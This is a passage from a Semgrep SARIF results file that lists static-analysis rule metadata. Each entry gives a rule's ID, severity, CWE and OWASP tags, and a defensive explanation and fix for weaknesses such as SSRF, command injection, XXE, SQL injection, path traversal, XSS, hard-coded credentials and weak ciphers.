request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","id":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","name":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","id":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","name":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","id":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","name":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","id":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","name":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder.tainted-xml-decoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","id":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","name":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","id":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","name":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","id":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","name":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"help":{"markdown":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","id":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","name":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf","id":"csharp.lang.security.ssrf.web-client.ssrf","name":"csharp.lang.security.ssrf.web-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","id":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","name":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss","id":"javascript.browser.decoded-xss.decoded-xss","name":"javascript.browser.decoded-xss.decoded-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.decoded-xss.decoded-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","id":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","name":"java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.net.http.base64-encoded-hardcoded-secret.base64-encoded-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend 